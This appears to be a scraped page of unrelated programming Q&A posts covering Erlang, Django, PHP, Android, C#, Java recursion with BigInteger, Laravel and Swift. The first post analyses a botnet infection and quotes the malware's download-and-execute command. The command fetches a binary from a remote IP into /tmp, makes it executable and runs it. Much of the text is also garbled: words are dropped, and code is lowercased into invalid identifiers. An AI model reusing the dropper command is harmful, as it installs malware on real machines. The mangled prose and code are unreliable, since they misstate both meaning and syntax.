Posts

Showing posts from April, 2014

networking - strace calls of a possible botnet file -

i found out there unknown process running on 1 server, digged in bit discover files belong botnet. process part of ddos, using cpu @ 100%. files found were: - /tmp/cool - /tmp/cpubalence the malicious files replacing /usr/bin/passwd exec run /bin/sh echo '0' > /proc/sys/vm/dirty_writeback_centisecs;/bin/sh -c 'wget -p /tmp/ http://69.12.92.196:911/wa -o /tmp/cool;chmod 777 /tmp/cool;/tmp/cool > /dev/null &' on vm, tried using strace on having following output i'd understand more. due curiosity, emulate network messages see what's response. open("zconf.n", o_rdonly) = -1 enoent (no such file or directory) getgid32() = 0 open("amp.lst", o_rdonly) = -1 enoent (no such file or directory) mmap2(null, 8392704, prot_read|prot_write, map_private|map_anonymous|map_stack, -1, 0) = 0xfffffffff6fe1000 mprotect(0xf6fe1000, 4096, prot_none) = 0 clone(child_stack=0xf77e13

erlang - Does the bitwise operator consume a large amount of resources? -

in erlang code, have bitwise operation bor or band . such as: (?srvcc_3gpp_alerting_support bor ?srvcc_3gpp_pre_alerting_support bor ?srvcc_3gpp_mid_call_support) band acc; when system test, find cpu usage higher before. so doubt caused bitwise , not sure. anyone, can tell me cpu usage of bitwise in erlang. how find clue this? unless working on bignums of large size (like 2^2048), operations should hardly measureable compared rest of work program doing.

c# - Are there "events" that you can attach to in Facebook/Twitter -

i've been browsing facebook api way attach actions/events in facebook. until now, didn't find make sense except graph api retrieve data afterwards. my goal quite simple, simple i'm bit confused why can't find solution. every time when likes or shares post posted on facebook page, notification (in form of callback or something) includes post , facebook user liked or shared post. i have similar when retweets tweet of mine. haven't looked solution in twitter yet, because facebook feature more important. are there apps/tools or sdk's me achieve this? can point me in right direction? regards, sven peeters belgium i not sure facebook twitter can subscribe streams provides in public stream api. here how tweetinvi. var stream = stream.createuserstream(); stream.tweetfavouritedbyme += (sender, args) => { console.writeline("you have favourited tweet! " + args.tweet); }; stream.startstream(); https://github.com/linvi/tweetinv

python - How to prevent Django messages from leaking out to other modules? -

i using built-in django-messages framework of django version 1.10 . however, since messages stored in request, , therefore not "namespaced" different modules, concerned might lead potential circumstances messages created 1 module (e.g. messaging framework "your message has been sent") might bleed another. is there way "namespace" these messages dont have unintended affect? in addition, documentation says messages expire if iterated over, mean if forget iterate on them, have potential build on multiple requests? you don't have iterate on messages expire them. django you. when 1 request gets message it's iterated on next request , gets displayed if template allows , removed request data. means it's shown once , removed. the way message email module displayed in account module redirect user account page directly after action adds message has been completed (after email has been sent, example). have complete control

php - Displaying a day of bookings for a room -

i working on school room booking system having trouble outputting bookings. public function displayroombyday() { $query = db::getinstance()->query("select b.roomid, b.period, r.roomname, b.bookingdate, b.bookingid booking b inner join room r on b.roomid = r.roomid bookingdate = '2016-11-03' , b.roomid=1 order b.period"); //inner join $count = $query->count(); $freecount = 0; for($periods=1;$periods<=6;$periods++) { for($x=0;$x<$count-1;$x++) { $outputted=false; $freecount=0; { if($query->results()[$x]->period == $periods) { echo $query->results()[$x]->period . '<br>'; $outputted=true; } else { echo 'free' . '<br>'; $freecount = 1; }

How to create a layout dynamically using Json in android and get value from it ? Here is the Json -

{ layout:[ { tag :"edittext", name :"name", hint :"type name here" }, { tag :"checkbox", name :"is married", hint :"" }, { tag :"button", name :"submit", hint :"" } ] } i describing want . first of above json change every time. structure same , tag, name , hint value change . above jsonarray has 3 jsonobject . might number(4/5/6 number of jsonobject) . can 1 plz suggest me how solve issue ? its better divide question in small small parts, here have your parse json , fetch value : suggest follow how parse json in android link , have json. check whether control edittext or button or else : suggest use switch case better coding structure switch (tag ){ case "edittext": //add edittext break; case "button": //add button break; } follow links add controls dynami

How to open .doc or .docx file and check text format using java -

Image
i want open .doc (or .docx) file java , check font-family of part of text, font-size of part of text, tables , description of tables, right indent, left indent etc.(like image) is there library , .jar file in java? how can use purpose? you can take @ apache poi . powerful library creating , editing microsoft office documents. if need check parameters in doc or docx can use docx4j

amazon web services - Deploying PHP code in elasticbeanstalk -

i new aws elastic beanstalk. have been using college project. have deployed working php code , health ok, when try using url in environment , says: forbidden error no.403 how should deploy it? i have tried many methods seen in many aws youtube channels, without luck.

java - Finding A power B using BigInteger and using recursion -

this piece of code in java. import java.util.scanner; import java.math.*; class power1 { public static void main(string[] args) { scanner in=new scanner(system.in); long a=in.nextlong(); biginteger b=in.nextbiginteger(); long res=power(a,b); system.out.println(res); } public static long power(long x,biginteger n) { int b=(int)(math.pow(10,9)+7); long m; if (n.compareto(biginteger.zero)==0) return 1; if(n.compareto(biginteger.one)==0) return x; if ((n.mod(biginteger.valueof(2)).compareto(biginteger.zero)==0)) { m = power(x,n.divide(biginteger.valueof(2))); return (m * m)%b; } else return (x * power(x,n.subtract(biginteger.valueof(1)))%b); } } this should work value of b considering biginteger. when enter large value of b ,i errors as exception in thread "main" java.lang.stackoverflowerror @ java.math.mutablebiginteger.divideknuth(unknown source) @ java.math.mutablebig

Laravel 5.3 access hasone in elequant from view -

i'm trying access relations table collection of data passed in controller. able iterate collection in view unable access relationship data. there 2 tables: stocks (default model) stock_datas (has foreign key stock_id setup) controller: public function getstock() { return view('vehicles.getstock', ['stock' => \app\stock::all()]); } model (app\stock) , (app\stockdata) // stock model: public function stockdata() { return $this->hasone('app\stockdata'); } // stock data model: public function stock() { return $this->belongsto('app\stock'); } view (loop): @foreach ($stock $k => $v) {{ print_r($v->stockdata()->get())->year }} @endforeach when try query below, undefined property: illuminate\database\eloquent\collection::$year (view: f:\websites\tempsite\resources\views\vehicles\getstock.blade.php) however, year column in stock_datas table. i able print_r data \app

c# - Ghostscript increases file size after split PDF -

i splitting pdf file images , working fine, issue have pdf file it's size 2.5 mb after splitting file images total size increases 8 mb. don't want increase these images size because storage issue on server. code using (var pdfreader = new pdfreader(filesavepath)) { var imagelst = new pdf2image(filesavepath).getimages(1, pdfreader.numberofpages); foreach (var image in imagelst) { imagemodal = new imagemodel(); imagemodal.filename = guid.newguid().tostring() + ".png"; image.save(dirpath + "\\" + imagemodal.filename); //using below commented code can decrease image size 50 % percent creates image quality problem. //int newwidth = (int)(image.width * 0.5); //int newheight = (int)(image.height * 0.5); //var newimage = imagehelper.resizeimage(image, newwidth, newheight); //newimage.save(dirpath + "\\" + imagemodal.filename); imagemodellist.add(imagemodal)

sql - Select 2 most expensive cars for every city -

i select 2 expensive cars every city. ddl below: create table city_car ( id bigserial, city varchar(255), car varchar(255), price int, primary key (id) ); insert city_car(city, car, price) values ('los angeles', 'kia rio', 550), ('los angeles', 'audi a4', 1800), ('los angeles', 'lexus nx', 2000), ('los angeles', 'chevrolet camaro', 2800), ('los angeles', 'mazda 6', 1300), ('moscow', 'mazda 3', 1000), ('moscow', 'kia cerato', 1000), ('moscow', 'lexus nx', 2100), ('moscow', 'lexus lx', 5000), ('moscow', 'bmw x6', 5000), ('prague', 'skoda octavia', 1000); output should same list below columns: city name price ----------------------------------------- 'los angeles' 'lexus nx' 2000 'los ang

javascript - PHP-Insert Query Result into another Query Statement -

i want run these 3 queries together. how fetch case_id 2nd query insert 3rd query's case_id ? $query = "insert `case`(`informant_userid`,`casename`,`casetime`) values ('" . $informant_userid . "','" . $casename . "',now())"; $query = "select `case_id` `case` order `case_id` desc limit 1 "; $query = "insert picture (case_pic,case_id) values ('" .addslashes($imagefile). "','" .$case_id"')" ; i assume caseid auto-increment column. use last_insert_id() value assigned in recent insert . $query = "insert `case`(`informant_userid`,`casename`,`casetime`) values ('" . $informant_userid . "','" . $casename . "',now())"; // execute $query $query = "insert picture (case_pic,case_id) values ('" .addslashes($imagefile). "', last_insert_id())" ; // execute $query

ssl - OpenSSL in php and curl not update after upgrading OpenSSL in linux -

my php program worked fine until several days ago. got error "ssl routines:ssl23_get_server_hello:sslv3 alert handshake failure" using curl in php program. searched on net , found may because openssl old (0.9.8e) , not support tls. i tried "yum update openssl" doesn't openssl hasn't been upgraded , still 0.9.8e. so, downloaded , installed newer version (1.0.2j) net. , now, displays new version number command "openssl version", still displays old version number phpinfo() , "curl -v". , of course, still shows ssl error while running php program. i new in server setting. how can update openssl version in php , curl? you have update php itself, comes ssl compiled in. libssl on system not used php. might encapsulated in php-curl package.

javascript - Testing using Mocha js for a function with multiple "map" -

below code rough explanation; can see need multiple returns each "map" function return js; how 1 test function using mocha? i.e cant place multiple returns value our testing purposes because such returns disturb actual implementation of said function. so need avoid unnecessary returns implementation sake need same multiple returns testing.. suggestions please? var array = ["a","b","c"], array1 = ["1","2","3"], array2 = [], returnvar; function test() { return ("done") array.map(function(data) { return ("done") array1.map(function(datum){ array2.push(datum) return("done") }); }); } returnvar = test(); alert(returnvar) this not testable code, therefore hard create test in current shape. map used data transformations, therefore isolate data transformation function input , output value

java - Disruptor: setting EventHandler order -

i newbie disruptor , using disruptor passing between threads in pipeline-like structure.i can run set of handlers below hadleeventswith or using after(). disruptor.handleeventswith(eventhandler1) .then(eventhandler2) .then(eventhandler3); but,i want able add new eventhandlers pipeline without changing code here.to this, adding integer value each event handler.then,i taking values , relevant handlers create ordered list of handlers. then, give ordering disruptor doing is disruptor.handleeventswith(handlerorderlist.get(0)); (int i=1; i<handlerorderlist.size();i++) { disruptor.after(handlerorderlist.get(i1)).then(handlerorderlist.get(i)); } is there better way of doing this? something might more readable: eventhandler<yourtypehere>[] handlers = getorderedhandlersasarray(); disruptor.handleeventswith(handlers); update: right. in above case, handlers process events in parallel. process events sequentially, migh

css - Froala Font Awesome Toolbar Icons Shown As Squares -

Image
every , dont know start debugging anymore because i've tried many things i'm not sure worked , never worked in first place. the problem : when load froala text editor in application, editor loads fine, content submitted through editor saves. toolbar icons (font awesome icons) display squares. what i've tried : the froala documentation says should write "require"s in application.css file tried changing application.css.scss application.css , works. have other sass files need import application file why have application.css.scss i installed froala onto project using froala gem. editor initializing means require in require froala_editor.min.css working. shouldnt mean require font-awesome should working , icons in toolbar should displaying correctly? i've tried adding font awesome cdn directly application layout didnt seem change anything. i've tried resetting cache , using different browsers well. it's similar problem this post thi

validation - Setting a validator attribute using EL based on ui:repeat var -

i looking little bit of guidance today issue running into. what trying accomplish build page on fly validation , all. end result allow user configure fields on page through administrative functions. below copy of code using test page loop through "configured" fields , write out fields using defined criteria. <ui:repeat var="field" value="#{eventmgmt.eventfields}" varstatus="status"> <div class="formlabel"> <h:outputlabel value="#{field.customname}:"></h:outputlabel> </div> <div class="forminput"> <h:inputtext id="inputfield" style="width:# {field.fieldsize gt 0 ? field.fieldsize : 140}px;"> <f:validateregex disabled="#{empty field.validationpattern}" pattern="#{field.validationpattern}"></f:validateregex> </h:inputtext> <h:message for="inputfield" showdetail="tr

java - Statically defined KeyDeserializer not found but if defined locally everything perfect -

i baffled how registering custom keydeserializer works. here code: matchday.java package com.example; import java.io.serializable; import java.util.objects; public class matchday implements serializable, comparable<matchday> { private static final long serialversionuid = -8823049187525703664l; private final int matchdaynumber; public matchday(final int matchdaynumber) { this.matchdaynumber = matchdaynumber; } public int getmatchdaynumber() { return matchdaynumber; } @override public int compareto(matchday o) { return integer.compare(matchdaynumber, o.getmatchdaynumber()); } @override public final int hashcode() { return objects.hash(matchdaynumber); } @override public final boolean equals(final object obj) { return obj instanceof matchday && integer.valueof(matchdaynumber).equals(((matchday) obj).matchdaynumber); } @override public string tostrin

c++ - Get the index of the selected radio buttons -

i have 4 radio buttons on dialog , under 1 group. in order group them have set group option true first radio button , false rest of them. i have given tab order accordingly. as grouped them together, can create 1 member variable entire group lets m_radiogroup. i have "ok" button on dialog. on click of ok button wanted know radio button selected out of 4 of them. how achieve this? you can't use 1 variable 4 item. every item should have own variable. witch switch-case or else find radio button selected.

c# - ASP.NET views and model, a small questions -

dears, please me understand simple thing i have model class: public class vendorassistanceviewmodel { public string name { get; set; } public bool checked { get; set; } } public partial class csmodel : ientity { public csmodel() { vendorassistances = new[] { new vendorassistanceviewmodel { name = "dj/band" }, new vendorassistanceviewmodel { name = "officiant" }, new vendorassistanceviewmodel { name = "florist" }, new vendorassistanceviewmodel { name = "photographer" }, new vendorassistanceviewmodel { name = "videographer" }, new vendorassistanceviewmodel { name = "transportation" }, }.tolist(); } public ilist vendorassistances { get; set; } i have view: @model ienumerable<csts.models.csmodel> //some html code... i want know how show array of checkboxes model, using vendorassistances ? know simple, read lo

How to add Chains feature of constraint layout with design in android studio -

Image
i have 2 images in constraint layout. want use chains feature design page in android studio can't find icon or menu represent chains feature. how add chains feature of constraintlayout android studio's 'layout editor'? the chain style can controlled "chain" button right below view: click on few times toggle between 3 modes: spread (the default one) spread_inside packed let's see examples centering views connected using chain drag , drop 3 buttons android studio's 'layout editor' select buttons dragging mouse pack them vertically using 'pack' button in 'layout editor' align them center horizontally using 'align-center horizontally' button align them center vertically using 'align-center vertically' button here used pack option . similar this, can try spread , spread inside options of chain see difference. cheers :)

excel - vba code (macro) to open link in a selected cell -

i have excel log file. contains in information of project in 1 area can find file when wish. have made formula generate links need (instead of having insert hyperlink time). can copy link explorer address , open link. far good. want able make more convenient now. i add vba code can double click cell open link. im sure possible. can me out please? generated links in 1 column (in case, column "m"), don't need work everywhere in log file. please somebody! thank you. so far, have after trying attempt record marco , gives me sub macro2() ' ' macro2 macro ' selection.copy end sub the rest of recording not record reason. steps need copy selection open windows explorer (or use start>run) paste address bar open (or enter) screenshot of file - please see column m ===edit=== so member here have found out way make formula hyperlink without need of macros. didn't know formula existed. sorry if may have wasted anyone's

objective c - IOS align text placeholder to be in the center and left alignment -

Image
i'm creating ios form submits feed back. i want have placeholder text in center vertically , left alignment horizontal in text field i have tried this - (void)drawplaceholderinrect:(cgrect)rect { [rgb(36, 84, 157) setfill]; uifont *font = [uifont singpostlightitalicfontofsize:_placeholderfontsize fontkey:ksingpostfontopensans]; nsmutableparagraphstyle *paragraphstyle = [[nsparagraphstyle defaultparagraphstyle] mutablecopy]; paragraphstyle.linebreakmode = nslinebreakbywordwrapping; paragraphstyle.alignment = nstextalignmentleft; nsdictionary *attributes = @{ nsfontattributename: font, nsparagraphstyleattributename: paragraphstyle, nsforegroundcolorattributename: [uicolor blackcolor]}; [[self placeholder] drawinrect:rect withattributes:attributes]; } but place holder text on top vertical. how can achieve gold. lot the following code solve problem. tried myself. it&

Does Android Process.killProcess(pid) kill just process or whole Application? -

in android can use process.killprocess(pid) kill process. however if have multiple main processes in application defined in manifest using android:process="com.some.name" kill of them or 1 call made? from docs process.killprocess(pid) does kill process given pid. note that, though api allows request kill process based on pid, kernel still impose standard restrictions on pids able kill. typically means process running caller's packages/application , additional processes created app; packages sharing common uid able kill each other's processes. if kill main process others live becoming orphan process

PHP SOAPClient WSDL caching - couldn't load WSDL -

i working erratic soap api right (using php's soapclient), works fine , returns correct response, of time returns various errors. one of these errors "soap-error: parsing wsdl: couldn't load ..." i have wsdl caching enabled ( wsdl_cache_disk ), , when wsdl returned ok, relevant file created in temp directory. now, calling same endpoint multiple times during 1 processing, , if first call works fine (which means wsdl cached on disk), subsequent calls still return "couldn't load wsl" error. i wonder why? if wsdl cached during first call, shouldn't subsequent calls use instead of trying load remote server again?

html5 - Brightcove player on mobile: video is unavailable -

i have issue brightcove player on mobile (html5 mobile fallback of brightcove, on desktop uses own flash player, without issues). loading page video (containing video, without other code) mobile user agents following error in console: brightcoveplayer_api_ad.js:415 uncaught (in promise) domexception: element has no supported sources. setcontent @ brightcoveplayer_api_ad.js:415 loaderror @ brightcoveplayer_api_ad.js:633 showerrormessage @ brightcoveplayer_api_ad.js:461 handlecontenterror @ brightcoveplayer_api_ad.js:430 onmediaerror @ brightcoveplayer_api_ad.js:427 dispatchevent @ brightcoveplayer_api_ad.js:9 redispatch @ brightcoveplayer_api_ad.js:9 dispatchevent @ brightcoveplayer_api_ad.js:9 errorhandler @ brightcoveplayer_api_ad.js:374 g @ brightcoveplayer_api_ad.js:2 dispatch @ brightcoveplayer_api_ad.js:2 @ brightcoveplayer_api_ad.js:2 null:1 http://c.brightcove.com/services/viewer/null 404 (not found) video parameters like: <p> <div style="display:n

java - JsonObject Can't Converted to jsonArray -

always showing warning is e/recyclerview: no adapter attached; skipping layout when trying implement recycler view inside fragment , showing error w/system.err: com.android.volley.parseerror: org.json.jsonexception: value {"sales_report":[{"id":"1","cash":"258","credit":"258","description":"","dates":"nov-09-2016","camimg_path":""},{"id":"2","cash":"532","credit":"586","description":"","dates":"nov-09-2016","camimg_path":"gallery_images\/test_gl.jpeg"},{"id":"3","cash":"214","credit":"980","description":"th","dates":"nov-09-2016","camimg_path":"gallery_images\/test_gl.jpeg"},{"id":"4","

tuple concurrently updated when creating functions in postgresql / PL/pgSQL -

when initializing process, runs pl/pgsql statement below creating 2 functions. however, every time create multiple processes simultaneously part of end-to-end test, parallel execution of statement leads tuple concurrently updated error can't seem around. appreciated. create or replace function count_rows(schema text, tablename text) returns integer $body$ declare result integer; query varchar; begin query := 'select count(1) "' || schema || '"."' || tablename || '"'; execute query result; return result; end; $body$ language plpgsql; create or replace function delete_if_empty(schema text, tablename text) returns integer $$ declare result integer; query varchar; begin query := 'select count(*) "' || schema || '"."' || tablename || '"'; execute query result; if result = 0 execute 'drop table "' || schema ||

React-Native fetch host from dev settings -

can somehow fetch dev settings (i need debug server host) application? want use own logger because logging chrome terribly slows application need know ip address sending logs know can hardcode in application want make more common solution

ide - Adding a "preprocessor include" doesn't seem to have effect -

i want ecplise cdt parser pre-include file not specified in source file, reasons won't go into, not complain undeclared identifiers in various places. i tried using project | properties | c/c++ general | preprocesor includes | entries , adding relevant file languages. however, doesn't seem have effect. if go paths , symbols | includes , can add include directories, not include files. what doing wrong , how can c/c++ parser include file? note : i'm using nvidia cuda 8.0's nsight, modified cuda-enabled eclipse; platform version 4.4.0. as noticed, paths , symbols | includes supports include directories, preprocessor include paths, macros etc. way go. some common pitfalls may running into: in entries tab, selecting correct language under languages ? each language has own set of entries. in providers tab, cdt user setting entries (assuming that's 1 you're adding entries to), use global provider shared between projects unchecked? if it&

api - Alamofire Custom Header request swift 3? -

how can make custom header request in swift 3? i have api key an value. api key x-access-token , value secretapikey . how can print responses? let headers = [ "x-access-token" : "secretapikey" ] alamofire.request("url", headers: headers)

java - Hibernate update with same column -

sql statement: update table set column = 'new_value' column = 'old_value' (same column name) how in hibernate? you may use entitymanager.merge() can lead nonuniqueobjectexception if there multiple results found same column name. better use namedquery ot nativenamedquery achieve this.

java - How to split String using regex and insert into ArrayList? -

i trying build calculator converting infix postfix i've been having trouble handling cos, sin, , tan. current approach use regular expressions split input string cos, sin, etc , numbers placing them indexes of arraylist. have been able cos0 split 2 arraylist indexes, index that's supposed hold cos turns empty. don't know if using regular expressions wrong or if it's else. import java.util.arraylist; import java.util.arrays; import java.util.scanner; import java.util.stack; import java.util.regex.matcher; public class calculator { //string sin = "sin"; //string cos = "cos"; //string tan = "tan"; public static void main(string[] args) { new calculator().run(); } public void run() { calculator eval = new calculator(); scanner keyboard = new scanner(system.in); system.out.println("please give equation."); string input = keyboard.next(); system.out.pr

javascript - JS: Record user selections in html with multiples occurrence -

i'm trying record user highlighting in node, giving can multiples children nodes , part of text can duplicated , need differentiated. <div id="blob"> <p>this text lots of <b>content</b>!</p> <p>there can <span>lots</span> of paragraph , weird things</p> <p>there duplicates in text:</p> <p>this text lots of <b>content</b>!</p> <div>the goal record text selected, , know it's position (n° of occurrence) in blob of text</div> </div> for example, if user selected 'with lots of content', need know part of text refer too. my current implementation put tags on selection text, , theirs positions relative overall text, , index of research of selected text. seems hacky, requires modify html. there way without it? it's related "javascript-find-occurance-position-of-selected-text-in-a-div" without assumption parent no

html - hover does not work after dropdown class delete -

i have bootstrap template practising on. in navbar there "blog" , "test" on test button, removed li class="dropdown " , because wanted try make button hover active on "blog" button. when hover on test, text display blue, on there not white background. i cannot figure out how can make work? have make css class button on navbar, not have dropdown. for fun sake tried delete css, hover still working on blog button. <div class="collapse navbar-collapse" id="navbar-collapse-1"> <!-- main-menu --> <ul class="nav navbar-nav "> <li class="dropdown "> <a href="blog-large-image-right-sidebar.html" class="dropdown-toggle" data-toggle="dropdown">blog</a> <ul class="dropdown-menu"> <li ><a href="index-blog.html">blog home <span class="badge">v1.1</span>

printing - Android Epson Epos TM-T20ii print PDF -

how can connect via usb , print pdf file epson tm-t20ii on android? have tried this: public class mainactivity extends activity implements view.onclicklistener, receivelistener { private context mcontext = null; private edittext medittarget = null; private spinner mspnseries = null; private spinner mspnlang = null; private printer mprinter = null; @override protected void oncreate(bundle savedinstancestate) { super.oncreate(savedinstancestate); setcontentview(r.layout.activity_main); mcontext = this; int[] target = { r.id.btndiscovery, r.id.btnsamplereceipt, r.id.btnsamplecoupon }; (int = 0; < target.length; i++) { button button = (button)findviewbyid(target[i]); button.setonclicklistener(this); } mspnseries = (spinner)findviewbyid(r.id.spnmodel); arrayadapter<spnmodelsitem> seriesadapter = new arrayadapter&